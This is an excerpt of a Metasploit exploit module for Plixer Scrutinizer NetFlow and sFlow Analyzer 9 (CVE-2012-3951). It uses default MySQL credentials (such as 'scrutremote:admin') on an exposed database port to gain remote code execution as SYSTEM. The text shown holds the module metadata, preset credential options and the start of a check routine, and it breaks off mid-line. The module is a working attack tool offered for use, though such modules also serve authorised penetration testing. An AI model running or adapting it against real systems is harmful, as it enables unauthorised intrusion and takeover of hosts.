## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", 'Description' => %q{ This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer. By default, the software installs a default password in MySQL, and binds the service to "0.0.0.0". This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of 'SYSTEM'. Examples of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC', 'Jonathan Claudius', 'Tanya Secker', 'sinn3r' ], 'References' => [ ['CVE', '2012-3951'], ['OSVDB', '84317'], ['URL', 'http://web.archive.org/web/20140722224651/http://secunia.com/advisories/50074/'], ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => [ ['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}] ], 'Privileged' => false, 'DisclosureDate' => '2012-07-27', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']), OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']), OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]), OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]), OptString.new("TARGETURI", [true, 'The web application\'s base path', '/']) ] ) # Both MySQL and HTTP need to use this, we'll have to register on the fly. deregister_options('RPORT') self.needs_cleanup = true end def check tmp_rport = datastore['RPORT'] datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({ 'uri' => '/' }) # Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\